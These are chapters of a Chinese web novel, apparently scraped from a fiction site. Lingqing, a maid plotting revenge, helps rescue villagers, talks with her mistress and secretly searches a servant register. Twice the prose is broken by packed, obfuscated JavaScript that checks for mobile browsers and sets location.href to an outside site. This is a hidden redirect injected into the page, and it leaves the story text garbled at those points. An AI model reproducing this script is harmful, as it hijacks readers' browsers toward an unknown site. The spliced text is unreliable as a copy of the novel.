她猛然惊醒。 可姐姐………已经不在了。 她又怎么能在陆沁的身上去找姐姐的影子? 陆沁是陆沁,姐姐是姐姐,她绝不能,绝不能在任何人身上看到姐姐的影子! 也绝不能让陆沁和姐姐………都陷入这种不公。 凌青闭了闭眼,在心中狠狠压下那股几欲绝堤的情绪。 过了许久,陆沁才放开他们。 逄楚之笑着说:“阿姐,你不相信我和凌青,还不相信表哥?有表哥在,定不会让我们有事的。” 陆沁断断续续地抽泣:“这几天………我没有一夜睡着觉………一想到你们毫无一点消息,我就痛不欲生。好不容易得知你们在哪,来了却看见你们差点被火烧死,怎能不让我………” “阿姐,咱不哭啊。”看陆沁还在抽噎,逄楚之直接开始装疼,“腿好疼!阿姐,快扶着点我。” 陆沁连忙顾不上别的了,紧张地扶着逄楚之的胳膊,去叫人来看伤。 看他们几人已无大碍,崔令徽收起担忧的神色,转过头看向还跪在地上的韩员外。他目光锐利,声音冰冷:“至于你————” “强抢民女,为非作歹,在一方横行霸道………” 他顿了顿,眼里的冷意更盛:“竟妄图对平民百姓和逄家子弟动私刑?” “逄家”二字一落,韩员外猛地抬起头。 他原本就苍白的脸色瞬间变得死灰一般,整个人如遭雷击。他颤颤巍巍地看着周围,声音抖得厉害:“逄………逄………” 逄楚之嘴角勾起一抹嘲讽的笑意,那张“猥琐”的面容也因刚才动作抹掉了大半,露出了原本的面貌。 昳丽无双,轩然霞举。一举一动全是少年的飞扬和矜贵,笑容也带着意气风发。 他慢条斯理地整了整道袍,语调依然懒洋洋的:“可别怪贫道刚才没说,我身边的这位姑娘,已经说得清清楚楚了呢。谁叫你非不信。” 韩员外脑子里轰的一声,真真似五雷轰顶一般。 逄家...……京城第一大族,真正的皇亲国戚,权势滔天的存在。他竟然..…….竟然差点烧死了逄家的人? 而且………他叫那位大理寺少卿为表哥,怕不是就是那逄家独子,太后的亲侄子,当今天子的表弟? 他怎么敢……怎么敢…… 这一刻,韩员外彻底明白了自己的处境。这绝不是受罚这么简单,而是,彻底完了,完得透透的。他眼前一黑,竟活生生地吓晕了过去。 “就这胆子,还敢为非作歹。”逄楚之讶然道。 凌青在旁没有说话。 她在想,若今日被处以火刑的人,独有她一人,这局面是否还是现在这样。 韩员外会因为得罪逄家之人而后悔,可不会因为得罪她一个陆府丫鬟而后悔。 若她也有逄楚之那样的权势,怕是父亲和姐姐的案子都不会那么难了。 权势………就是公道。 但谁说………权势是生来就有的呢?总有一日,她也要以她这蝼蚁之躯,夺得这万钧权势。 凌青垂下眼,隐藏住所有的情绪。 崔令徽看着晕倒过去的韩员外,挥挥手:“来人,全部押回京城,听候发落。” 身后一众人马上前,将韩员外及他的手下五花大绑。 此行人解决,剩下的,就是那些村民了。 他们自相残杀,虽没闹出什么人命,但也是一派狼藉。 到处都是横七竖八的身影,身上地上都是撕扯的血迹。村里的屠户被自家人咬掉了半只耳朵,此时正捂着伤口嗬嗬喘气。那几个妇人被男人按在泥里,动弹不得,指尖缝里都不知是谁的皮肉,红得吓人。 他们人人眼里,全充满了血丝,看向彼此的眼神,还是像看着恶鬼,只有怨恨。 崔令徽蹙眉:“叫大夫过来,看看怎么回事,把他们都弄清醒了。” 半个时辰后。 崔令徽沉着脸,看着手下拿来了解药。 “给他们灌下去。” 手下上前,一一将解药灌入那些村民口中。 幸而中的是草药的毒,并无什么大碍。解药药效很快发作,那些人脸上狰狞的表情渐渐消退,眼中的血红也慢慢褪去。 他们茫然地看着周围,看着地上一些不省人事的亲人,看着自己手上的血迹...…… “啊————” 凄厉的惨叫声此起彼伏。人人都回忆了刚才的一切。恶鬼、互殴,以至到最后都拼了命的想杀死所有人,彻底把恶鬼驱走。他们自相残杀,互相拼了命的撕打,不管任何血缘、亲情的去厮杀! 越想越可怕,越想越崩溃! 他们一个个抱头痛哭,跪地凄厉大叫。 崔令徽面无表情看着这一切,待他们情绪稍稍稳定后,才开始审问村里买卖女子一事 那些村民早已知道崔令徽的身份,一听这话,脸色瞬间煞白,一个个垂下头去,闭口不言。 哪怕没有一人承认,还是数人作乱,但重罪就是重罪,罪无可恕。 静默良久。 崔令徽一声令下:“将他们都带回去!关入大理寺刑狱!” 此话一落,终于有人忍不住了。 村长颤颤巍巍地抬起头,眼中满是恐惧:“大人...……我们也是没法子啊...……” “韩员外..…….韩员外每隔一段时间就要我们交出年轻女子,说是京城那边的大人物就稀罕民间的淳朴女子。我们不敢不从,就只能………” 说到这里,他再也说不下去了,只是一个劲地磕头。 “京城的大人物?”崔令徽闻言,眉蹙得更紧:“韩员外有这样的通天势力?” 另一个村民战战兢兢地接话:“韩员外说他背后有靠山,是京城的大官。我们这些泥腿子,哪敢违抗啊...…” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16327813|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我们村里本来就不适应种地,这些年来越发收成不好。要不是韩员外的生意,我们怕不是撑不到现在………” “是啊大人,我们也不想这样。可家里人都要活吧,只能牺牲丫头。且家家户户都是这么做的,也没什么问题啊。” “且这些丫头都是被送到京城里去哩,我们怎么能反抗………” 随着那些村民被带上镣铐,带往京城,他们这些留下等着第二天走的人,还久久不能回神。 崔令徽的脸色越来越沉。 如果这事真的牵扯到京城的权贵;那事情就复杂了。京城水深,各方势力盘根错节,稍有不慎就会引发轩然大波。不是他单单彻查就能有结果的。 凌青静静站在一旁,心中也开始沉思。 京城的大人物...……一拨一拨要人...…… 要这些民间的美貌女子,到底是为什么呢,单单就是为了生子和转运?可若是这样,为何要的那么多呢? 她总觉得,这事情不会就这样算完。 ————- 一日后,村边。 远山如黛,天气晴朗,偶尔传来鸟叫声,一派静谧祥和。除了村子里过分安静,没有人烟,一切仿佛什么都没有发生过。 阿禾站在自家门前,身上穿着一件洗得发白但很干净的粗布衣裳。她的脸色已经恢复了红润,眼中也重新有了光彩。 看到凌青和逄楚之走来,她连忙迎了上去,深深福了一礼。 “恩人...……” 她的声音有些哽咽,千言万语最终只化作这两个字。 她想要跪下,却被凌青扶住。 凌青认真地看着她:“都过去了。” 阿禾怔怔地与她对视,过了许久,才点点头,却又忍不住红了眼眶。她从怀中小心翼翼地取出两个东西,递到他们两个手里。 “这是我连夜赶制的,虽然不值什么钱,但..…….但是我的一点心意。” 她头埋了下去,有些不好意思。 手里赫然是一个巴掌大的竹提篮,一看就是精心做的,提手处还特意绕了圈细篾,打了个小小的如意结。篮子散发着清冽的竹香味,让人心神清净。 很朴实,又很好的礼物。 “编的很好。”凌青真心夸赞道,“我很喜欢。” 阿禾的眼睛瞬间亮了起来,却又很快湿润了:“谢谢,谢谢你们!要不是你们,我真的………” 她咬着唇,不敢说下去。 凌青紧紧握住她的手:“即使没有我们,我相信你想明白后,也不会甘愿屈服的。你要相信,你的坚强,比什么都有用。” 阿禾微微一愣,似乎在理解她的意思。很快,她似乎就明白了,露出一个羞涩却了然的笑容。 凌青看她这样,也知道她心内的结彻底打开了,不由放下心来。 “对了。”凌青忽然想起什么,从怀里取出一个纸包,“这里面有我给伯母开的药方,还有一些现成的药材。” 她将纸包递给阿禾,语气温柔:“每日煎服一剂,药没了就托人带信给我,我会让人再送来。不出半年,伯母的身体就能好转。” 阿禾接过药包,眼神全是不敢置信,手不住地颤抖:“你………你竟然都记得………可是这……太贵重了。” “你拿着吧。”逄楚之轻轻一笑:“你凌青姐姐医术高超,就喜欢帮助人。” 凌青瞪了他一眼,看向阿禾:“不必担忧,这些都是举手之劳,这些你照顾了我们这么多,这点药不算什么。” 阿禾再也忍不住,泪如雨下。她紧紧抱住凌青,哽咽着说不出话来。 良久,她才松开手,抽泣道: “谢谢………谢谢你们,等着我娘好了,我们就离开村子,走得远远的,再也不回来。我之前邻家有个哥哥,待我很好,我们如同亲兄妹一般。他十二岁就考中童子试的秀才,如今二十了,在京城里读书,说是要考进士呢。他给我写信,说他若是考中了,就把我们接过去,到时候,我们就能去找你们了!” 凌青不由道:“太好了,若是你来了,我们都有个照应。” 两个人又相视一笑,紧紧攥住的手久久不能放开。 ……… 夕阳西斜,暮色渐浓。 凌青和逄楚之踏上了归途。马蹄声在山间小径上响起,渐行渐远。 走出约莫一里路,身后忽然传来呼喊声。 “恩人!恩人!” 凌青掀起帘子,回头望去,只见阿禾在村口拼命挥手,但距离太远,听不清她在喊什么。 凌青心中了然,想必是发现了自己悄悄夹在药包里的银票。 她没有再回头,只是轻轻抬手挥了挥。 有些恩情,不必言谢。她所做的,都是不求回报。 她每日都是尔虞我诈,活得辛苦,能在这算计中帮得几个真心人,让自己冰冷坚硬的内心,永远留有一方净土,值得。 况且,山高路远,却总有还见面的一天呢。 48. 亡妻 陆府,月露榭。 凌青从浴桶中起身,温热的水珠顺着身子滑落。她一回来,在这里足足泡了一个时辰,终于洗去了一身的疲惫和风尘。 这几日,都像一场梦一般。 刚换上干净的衣裳,门外就传来了敲门声。 “凌青,小姐叫你洗完过去一趟。”谷翠的声音传来。 她刚从马车下来,踏入陆府时,谷翠直接抱着她痛哭了一场。虽然她与谷翠相处时间并不长,但这丫头重情重义,实打实的把她当做了自己人。 “哦,来了。” 凌青穿戴整齐,便和谷翠一边闲聊,一边来到了院子。 院中灯火通明,花香阵阵。陆沁正坐在花园的凉亭里,身边摆着茶水和几碟精致的点心。看到凌青来了,她立刻起身。 “凌青,快来坐。” 陆沁拉着她的手,又转身牵上谷翠的手,把两个人拉到自己身边坐下。 她眼中满含心疼地看向凌青:“你看看你,这几日辛苦的,本来就瘦,现在是越发的瘦。再这样下去,你就要跟骷髅架子一样了。” 凌青轻声道:“那我这几日多吃些,把自己养胖点。” 陆沁“扑哧”一笑:“这才对,我和谷翠以后天天监督你,可不许耍赖啊。” “小姐,凌青才不会耍赖呢。”谷翠在旁边嚷道。 嬉笑一番后,院子里又静了下来。 陆沁又仔细地看向凌青,眼中渐渐浮上泪光。她轻轻伸出手,抚摸着凌青的头发。 “凌青………这次………”她渐渐声音哽咽:“我以为,我再也见不到你和楚之了………” “小姐………” “你不知道,当我回来后带着府内护卫去找你们,却发现你们失踪的消息时,我有多么窒息。”事情过去了这么多天,陆沁说起这些,声音还在颤抖:“我让崔公子带着人马不停蹄地赶去,一路上我都在想,如果你们出了什么事,我该怎么办...……我真的没法活下去……是我拖累了你们。” 凌青看着眼前这个为她真心担忧的女子,心中不可避免地涌起一丝波澜。 “小姐,不要怪自己。就算我出了事,我死前也只会怪罪那群刺客和背后指使之人,绝不会怪罪小姐分毫。而小姐,也不可沉溺于悲痛,只要您过得好,帮我们报仇,那就是我们走们最想看到的。” “凌青………”陆沁眼神越发温柔,“你总会跟我说这些话,从小到大,只有你从始至终的让我做我自己。” 凌青看着陆沁的目光,心中那根一直紧绷的弦忽然轻轻震颤。她只觉得喉咙发紧,陆沁对她的信任,让她心生涟漪,却也让她背负上了枷锁。 犹豫片刻,她还是说出了心中一直所想的问题。 “小姐,”她顿了顿,“我能否问您一个问题?” “嗯?当然可以。” “那日遇刺,刺客朝我刺来…………”她缓缓抬起头,看向陆沁,眼神复杂: “………您为何要挡在我前面?” 陆沁似乎没想到她会问这个问题,一时愣住了。 凌青继续问道: “难道您………就不怕死吗?” 难道我在你心里,就这么重要吗? 重要到你不计生死,可以为我豁出命。 可我………明明从一开始就是带有目的接近你的啊。 “傻瓜………”片刻后,陆沁微微一笑,轻抚着凌青的脸颊,眼神越发温柔如水:“那日我护你,只是因为不想看到你受伤。那个时候,我还哪想着那么多,只有一个想法,就是我欠你太多太多,我也越发离不开你。我,不能失去你。” 她停顿了一下,声音更加柔软:“换作是谷翠、微儿,我也会这么做。因为在我心里,你们从来不是什么可有可无的存在。你们是我的妹妹,是我的家人。” “姐姐要保护妹妹,不是很正常的吗?” 姐姐………妹妹……家人? 这几个词如惊雷般在凌青心中炸响。 她怔怔地看着陆沁,看着这个愿意拿出一派真心奉与她,却不求她一丝回报的女子。那种久违的安心感如潮水般涌来,几乎要将她淹没。 在姐姐失踪,父亲去世后,她再也没有这样的感觉。 在这一刻,她甚至产生了一个疯狂的想法———— 要不要告诉她一切? 告诉她自己的真实身份,告诉她自己入府的目的,告诉她自己复仇的计划,告诉她这一切一切的真相? 陆沁这样真诚善良,或许...……或许她会理解的? 可是下一秒,理智就如冷水般浇灭了她心中的冲动。 不行。 绝对不行。 陆沁对她再好,终究不是她相处多年的亲人。她可以相信陆沁的人品,却不能拿复仇大计去赌。 况且,一旦陆沁知道了真相,她该如何自处?她也许会恨自己的欺骗,会觉得自己的真心被践踏了。那到时候,她还如何在府中复仇? 她现在也知道,杀死林雪桐母子之事不能急。且对那对恶人母子而言,杀了也是便宜他们,若让他们彻底身败名裂,人人唾弃,才是最好的报复方式。 这一切………她不能让任何人知道。 “小姐的恩情,奴婢永远不会忘记。”凌青垂下眼眸,掩饰住种种情绪。 陆沁没有察觉到她的心思,只是温柔一笑:“什么恩情不恩情的,我们是一家人啊。” 一家人..……… 凌青的心狠狠一颤。 —————— 凌青很快就从那几日的疲惫中恢复过来。 第二日清晨,她便按照往日上工的时辰起了床。其实今天,陆沁是给了她假的,特意让她趁此休息一天。 但她心里有事,她心里的事没有得到解决的时候,她根本无暇去顾及休不休息。 对着镜子梳洗完毕,凌青转身去了茶药间。 许久未来了,茶药间依旧是熟悉的样子。她走过那条走过无数次的小径,轻轻推开那扇已经褪了色的木门。 里面传来淡淡的药香味,夹杂着炭火的气息,让人一闻,就很安心。 她刚踏进去,就看到了一个熟悉的身影,正背着她忙活着煎药。 “巧音?”她试探着唤了一句。 刚一开口,就听到里面传来“哐当”一声响,巧音似乎是把手里的盆子掉了地上。她不敢置信地转过头,眼神在看到凌青那一刻,迸发出奇异的光亮。 “凌………凌青姐姐!” 一声惊呼下,巧音从里间冲了出来,一下子扑到凌青身边,紧紧抱住了她。 这丫头虽然来的最晚,与她相处时间也并不长,但彼此的情谊却不浅。看得出来,巧音也是真挂念她,要不然不能此刻眼眶红红,盈满泪水。 “姐姐,你可算回来了!你是不知道,我们听说你失踪了,都着急成什么样!”巧音抹着泪,又哭又笑。 凌青微微一笑,轻轻拍着巧音的后背:“这不是好好的回来了吗?别担心了。” “巧音?怎么了,这么吵………”红袖似是听见了动静,匆匆过来。她刚一掀开帘子,就看到了凌青,话语顿时止住,脸上露出了惊诧的神色。 “姐姐!”她大叫一声,也跑了过来,“我的天哪,你总算回来了!我就知道你没事!” 她上上下下打量着凌青,眼神里全是担忧与关切,“让我看看,有没有哪里伤着了?” 紧接着,孙嬷嬷也听到动静,从内室匆匆赶来。她一向最是冷静稳重,此刻见了凌青,也不禁声音带上了点哭腔。 “你这死丫头啊,可把我们吓坏了!这些日子你一点动静没有,小姐也整天泪流满面,我们几个什么忙也帮不上,只能天天求菩萨保佑你平安无事。” 凌青笑笑:“幸好,菩萨真的保佑了。” 几个人围了过来,拉着凌青又打量她片刻,确定她真的平安无事,身上没有一点伤,这才放心。 “小姐遇刺,你和逄公子失踪的消息传回来,我们都不敢相信。小姐虽然人回来了,魂却跟丢了似的,每日都跟着崔公子出去找你们。” “这几日啊,我每夜都在担心。连老夫人都特意叫人去庙里给你们祈福。我们都说凌青姐姐这么 凌青一一应着她们的话,看着这些真心实意关心她的面孔,心中却有些恍惚。这些发自内心的关怀,让她想起了以前茶药间的日子。 “好了好了,都别哭了,”凌青回过神来,安抚她们道,“我这不是平平安安地回来了吗?你们这些日子可还好?” “一切都好。”红袖破涕而笑:“我们能有什么事,还不就是每天做活。” 说着说着,巧音便拉着凌青坐到桌旁,又是倒茶又是拿点心的,生怕她身子虚了,补不回来。 红袖和孙嬷嬷也围坐过来,一时间茶药间里热闹得很。 她们说起这些日子府里的事情,哪个院里的猫生了小崽,哪个丫鬟又犯了错挨了罚,府里来的客人又带了什么新奇玩意儿回来。这些琐碎平常的事情,凌青从前是不爱听的。可今日听着她们的唠叨,却倍感亲切。 可惜,大家都是下人,没那么多时间闲聊。说了一会儿话后,巧音和孙嬷嬷起身去后院继续做事了。 孙嬷嬷临走时还嘱咐凌青多坐一会儿,说是要炖个燕窝给她补补身子。 屋子里顿时安静下来,只剩下凌青和红袖两个人。 “快吃啊,看你瘦的,多吃点!”红袖将点心推到凌青面前。 凌青应着,心里却在想着别的事。 犹豫片刻后,她还是问出了口。 “红袖,你娘现在还在栖桐院当差吗?” “嗯,当然在呀。”红袖没察觉到她话里的试探之意,“亏得是姐姐呢,我娘好了病,身子比之前更能干了。又是干了十几年的老人了,夫人也信得过她。” “这样………”凌青点点头,假装随意道:“那你娘………可与你说过,夫人当初进府的事?” “怎么突然问起这个?”红袖好奇的地问道。 “就是随便问问,”凌青捻着手里的糕点,语气平常,“就是之前听府里有些下人议论,说老爷那时还在丧期呢,夫人怎么就能嫁进来了?我听了也有些好奇了。” “这事啊………”红袖左右看了看,确定四周无人,这才压低声音小声道:“这个我娘还真知道,也偷偷告诉了我,但是不让我往外说。不过姐姐一向嘴严,我告诉你也没什么。” “说起来,也没什么特别的。咱们老爷一直痴情,与先夫人琴瑟和鸣。先夫人在世时身边连个通房丫头都没有,更别说什么妾室了。先夫人去世后,府里人都以为老爷很快就会续弦,毕竟二小姐还那么小,需要有人照料。可谁知道老爷竟是铁了心不肯娶妻,任凭老夫人怎么劝都不松口。” “那后来呢?” “后来圣上得知此事,感念老爷痴情之心,又念在他为朝廷效力多年,痛失爱妻,家中无人帮衬。便特意下旨免去了他的丧期,允许他纳妾或续弦。可老爷还是不肯,说什么此生只会有先夫人一人。”红袖神情越发羡慕,“唉,如此痴情的男人,可真是世间少有。” 凌青没应声。 再痴情………还不是娶了林雪桐?那几个姨娘不也一房一房的往里纳?难不成,还都是天子逼着他娶的? 不仅女眷一大堆,孩子也没少生。若是陆鼎风真的像世人说的那么爱亡妻,还会与其他不爱的女人生孩子? 哦,也有可能。毕竟对他们这些人来说,白月光是白月光,能传宗接代的女人又是另一类。不耽误,都不耽误。 凌青内心不屑,面上却仍然淡淡,只是示意红袖继续说下去。 “就在这时候,圣上不知听谁提起,礼部郎中的女儿林氏一直仰慕老爷,说是早就芳心暗许,情愿终生不嫁,只求能在老爷身边做个小小的侍妾,帮忙照顾二小姐就心满意足了。” 此话一落,凌青顿时心中一震。 “等等,你是说…………”凌青抬起眸子,“是夫人先爱慕老爷的?” “对啊。”红袖继续说,“一个名门诗礼之家的嫡女,肯如此放下身段,还如此温婉娴淑,知书达理。圣上听了也很感动,就让其以侧夫人的身份入了陆家。虽然婚事办得简单,没有大操大办,但夫人进府后确实贤惠得很。不到一年就生下了三小姐和二公子,龙凤胎双喜临门,老爷高兴坏了,自然就将夫人扶持为正室。” 凌青敏锐地抓住了红袖话里的关键点———这门婚事,从来都不是什么世家婚配,而是,林雪桐自己求来的。 她原先一直以为林雪桐和陆鼎风是因为圣上赐婚才成亲的,两人之前并无别的感情纠葛。现在看来,事情远比她想象的复杂。林雪桐………会不会从很早就在暗中谋划这门婚事 她心中忽然涌起一个可怕的猜测,但很快又压了下去。 现在还不是下结论的时候。 片刻后,凌青又若无其事地问道:“那么,先夫人又是如何去世的?你娘可曾提起过?” 红袖沉思了一会儿,说道:“我娘去栖桐院之前,一直在府里的花圃干活,对先夫人院里的的事知道的还真不多,只是听过一些大概。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338418|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哦?” “先夫人出身很好,是安西都护府都护的女儿,家世显赫。性格嘛,和现在的夫人完全不同,特别直爽,大大咧咧的,虽然不通诗书,但为人仗义善良,在府里人缘极好。她和老爷是指腹为婚,自小就定下的亲事。”红袖一边回忆一边说,“老夫人特别喜欢她,常说先夫人虽然才学不出众,但心地纯善,是个有福气的。” 红袖讲得兴奋,凌青却越听越不对劲。 安西都护,如此大的官职,也不单单只是文官。他家的女子若无什么先天疾病,一般不可能是太过羸弱的。 且听起来,这位先夫人性格开朗,活泼,似是气血充足之人,身子骨应该比京城绝大多数家的女子都要强朗。 “这样的女子,听起来身体应该不错,怎么会在生产时出事?” 红袖这么一想,似乎也有些困惑:“是啊,是有点奇怪。听我娘讲,先夫人看起来身子挺好的,而且那时候她才二十出头,正是好年纪。可女人生孩子确实是过鬼门关,说不定就是运气不好………” 也是,女子产子这一事,也的确很难说。 凌青和红袖又聊了一会儿,见时间不早了,便准备告辞。 临走时,她似乎想起什么,欲言又止,但还是转头道:“红袖………” 刚开口,红袖就似心有灵犀一般,笑着对她摆了摆手:“姐姐别说啦,我知道你想说什么。我不会问姐姐要做什么的,姐姐想说的时候,自然会跟我说的。” 凌青怔怔地看着她,过了许久,才露出一个感动的笑容。 “嗯。” ———— 离开茶药间后,她马不停蹄地去了前院。 她现在,急需去确认一些事情。 首先要确认的,就是当年先夫人去世的具体原因。她想知道详情,最好的方式就是找到当年伺候过先夫人的下人。 而最简单、最快速的方式,就是找到府中记载下人姓名的花名册。 花名册自然在府中总管事那里保管着。总管事姓王,在陆府干了大半辈子。他一直为人谨慎,做事挑不出毛病,所以深得陆老爷信任。 平日里他住在前院的一间小屋里,专门负责府中的各种事务。 凌青来到前院,远远地就看到王总管的身影。透过半开的窗子,她能看到王总管身后的架子。那架子上的书卷层层叠叠,都用布套包裹着。这其中,必然有她要找的花名册。 但是,要怎么支开他呢? 凌青在门外站了一会儿,眼神忽然移向了一旁的马厩。 因为在前院,所以这个地方靠着马厩很近,方便套车出行。 马厩里养着十几匹马,除了套马车的,还有府里人平日骑用的。凌青一眼,就看到了陆砚修和陆皎常骑的那两匹白马。 正好当下无人,凌青趁此悄悄走近。 陆砚修的马跑了,不要紧,反正他惯会体谅下人。可若是陆皎的马丢了………… 对不住了,守马厩的人可能要平白无故遭受麻烦了。若是这马真跑远了,她定会帮忙找回来。 她从袖子里掏出一根银针,再次贴近陆皎的马匹。 说时迟,那时快。她拿起细针,快速朝马腿上扎了一下! “咴————” 白马吃痛,立刻嘶叫着冲出了马厩,在院子里狂奔起来。 凌青连忙跑出来,看四周无人,便站在一侧大喊: “不好了!不好了!马跑出来了!三小姐的马跑出来了!” 她声音高昂,王总管立马听到了动静,从房间里跑出来。 一看到那匹发疯似的白马,王总管脸色瞬间难看。 “这不是三小姐的马吗!若是给三小姐弄丢了,她定要咱们好看!”王总管急切地看向手下人,“快!快去叫马夫!还有护院!” 前院里乱成一团,伺候的下人也都被召过来,和护院马夫一起去追那匹马。 王总管也顾不上别的了,亲自指挥着众人去抓那马匹。 趁着混乱,凌青悄悄溜进了王总管的房间。 她快步走到架子前,刚要伸手去拿上面的册子,却猛然愣住了。 书桌旁的架子上,整整齐齐地摆放着十几本一模一样的册子!每一本都是同样的封皮,同样的厚度,看起来完全没有区别。 计划忽然有变故,凌青的心瞬间提到了嗓子眼。 外面马儿的嘶鸣声和人们的喊叫声此起彼伏,提醒着她时间正在一分一秒地流逝。 此次大概就是打探先夫人的最好时机,若是错过这次机会,这王总管必然会有所察觉,她可能就再也探查不到了! 这种时候………更要冷静。 她需要找的是十几年前的记录,那绝不会是王总管经常翻阅的册子。这样的旧册子,按照常理应该放在最不显眼的地方,甚至可能被压在最底层。 凌青的目光快速扫过架子。最上面的几本看起来都很新,应该是近期的账目。那么旧的花名册,很可能就在最里面,或者最下面。 她先伸手去拿最底下的一本,封面确实有些发黄,但翻开一看,却是多年前的开支记录。 不对。 她又拿起旁边一本,也是发黄的封面,打开却是布匹清单。 还是不对! 时间在一点点过去,外面的喊叫声似乎越来越小了。她没有多少时间了。 凌青咬了咬牙,开始更仔细地观察这些册子。忽然,她注意到架子最里面,被其他册子半遮住的地方,还有一本看起来特别厚的册子。那本册子的封面不仅发黄,边角还有些磨损,显然是年代久远且以前经常被翻阅过的。 对了!花名册记录着当时府中所有下人的身份内容,按理来说肯定比其他册子更多更厚! 她赶紧将前面的册子挪开,取出了那本厚册子。 翻开一看,正是花名册! 没有时间庆幸,凌青立刻开始快速翻找。 手指飞快地翻动着纸页,一页,两页,三页...……她一边翻一边在心中默数着年份。先夫人是在十几年前去世的,那么记录应该在...…… 找到了! 凌青屏住呼吸,目光快速扫过那些陌生的名字。 本来只是一些名字,并没有什么,可当她看到后面那页时,不由瞪大了眼睛。 无论是贴身伺候的大丫鬟和嬷嬷,还是负责洒扫的粗使婆子和丫头,但凡那一年在陆府先夫人院子里当差过的人,名字后面都打着叉号。 凌青错愕地盯着册子。 一个院子里的所有人,竟然没有一个还留在府中! 49. 邴家 回到月露榭的时候,天色已经近乎黄昏。 当凌青推开主屋门的那刻,脸上那副心事重重的神色,瞬间换为恰到好处的疲态。 陆沁正和谷翠笑着说些什么,一看到她进来,便向她招招手:“凌青?来,过来坐。” 待凌青走近,她又道:“不是放你一天假,好好休息了吗,怎么还特意过来一趟。” 说完,她看着凌青的脸色,不由“呀”了一声,“怎么休息了一天,还是脸色不大好?” “回小姐,奴婢正是想来说这个。”凌青垂眼缓缓道:“奴婢还是有些头晕,想再告一日假。” 陆沁向来对底下人百依百顺,就算是外院的杂使丫鬟向她求什么,她也会能帮就帮。更何况此刻是凌青第一次问她求什么,陆沁自然直接应下。 “身子要紧,你什么时候休息好了再过来。”陆沁关切地看着她:“不要逞强,知道吗?” “是。”凌青福了福身子,转身退下。 主屋门扉合上的那一刻,她脸上伪装的病弱瞬间消失得无影无踪。 刚才在王总管房间里看到的花名册,此刻仍然在她脑海里挥之不去。到底是什么样的情况,才会让一个院落的下人一个也不留……… 虽然已经过去了十几年,似乎已经没有任何蛛丝马迹了。但幸而,她记住了那本花名册的所有名字。 其中有一个名字,让她印象深刻。 邴善。 这个名字不算什么,主要是这个姓氏,极其少见。 但她却不是第一次听说这个姓氏。 早在她还在茶药间做事的时候,有一日去库房拿药材,凝儿不在,是一个叫做邴枣的年轻嬷嬷帮着她登记的。 邴善………邴枣……… 一个十几年前在先夫人那里当过差,一个三十多岁,留在库房的嬷嬷。 她不信这其中没有一丝关联。 看来,她还得再去找凝儿一趟了。 ———— “你说邴枣姐姐啊。”凝儿看着凌青,露出了然的表情:“那我当然知道了,我与她还挺熟的。” 凌青将手里的一碟桂花糕全部塞凝儿手里,假装不经意问道:“她今日当差吗?” 凝儿接过点心,眉开眼笑:“哇,好久没吃着这点心了,谢谢妹妹。”她塞了一块点心,这才道:“邴枣姐姐今日休息,不当差。” “原来如此,那真不巧。”凌青露出一副状似可惜的神情,“上次我去领药,单子上的药材缺了一味,多亏她跑前跑后地帮我寻来了。我一直记着这份情,寻思着给她送些东西聊表谢意。既然她不在,那我只能改日再来感谢她了。” 这话说得滴水不漏,凝儿也并无起疑。 凝儿点点头:“邴枣姐姐的确是热心肠。你有什么东西,下次我帮你转交也成。” “啊,那多麻烦。”凌青与她客套了几句 两个人推脱来,推脱去,最后以凌青勉为其难答应才结束。 “说起来………邴枣姐姐的姓氏还真是特别,听着不像京城人氏。我也不知道她到底口味如何,喜欢什么。” 凝儿闻言,拍手一笑:“幸好你来问我啦,这个我还真知道。她祖上是晋州平阳郡的,小时候跟着家里人来了京城投奔亲戚。” 凌青适时地瞪大了眼睛:“晋州之人?难怪………他们一家背井离乡,也是不易。幸而有那………亲戚扶持,现在这样的亲戚也不多了。” 凝儿听了凌青话语里的暗示,似乎想起了什么,左右看了看,见旁人都在干活,这才低声道:“她亲戚啊,对她是真好,当初邴枣姐姐能进陆府,也是她安排的。” “嗯?”凌青的语调微微上扬,带着疑惑,“那岂不是,她这位亲戚就在府中?” “唉………那倒不是。”凝儿叹了一口气:“这事可就说来话长了………” 似乎没有再说下去的意思。 “姐姐这样话说一半,让我心里怪好奇的。”凌青撞撞凝儿的肩膀,“我与她又不熟识,要不你就告诉我,我绝对不会说出去。” 她这般好奇的模样,大大满足了凝儿的倾诉欲。 凝儿起先还扭扭捏捏不说,后来经不起凌青磨她,心里又实在痒痒的想说。片刻后,她才假装犹豫道:“好吧………那我就告诉你。” 凌青当然知道她什么毛病,但还是给足了她面子,洗耳恭听道:“快说吧。” “她亲戚啊,也就是她的姑母,早年间也在咱们府里当过差。只是人微言轻,不得主子看重,一直是个外院的嬷嬷。不过她资历老,跟底下人关系还行,这才想法子把邴枣给弄了进来。” 凝儿说到这里,叹了口气:“可谁知道,没过多久,她姑母不知犯了什么事,竟被赶出府了!她姑母嘴也严,怕连累侄女,没跟任何人说,所以这府里压根没人知道邴枣是她侄女。” 果然,她的猜测全对上了。即使那邴嬷嬷早已在十几年前出过府,再无踪迹。但只要有邴枣,她就能顺藤摸瓜出邴嬷嬷的下落。 “邴枣姐姐也是知恩图报的,时常出府去探望她姑母………” 听到自己想听的,凌青垂下眸子,长长的睫毛掩盖住了眸底一闪而过的精光。 —————— 京城西巷。 仅仅是拐过一个街角,方才还车水马龙的京城街道便被一面高墙隔绝起来。只是一墙之隔,便是翻天覆地。 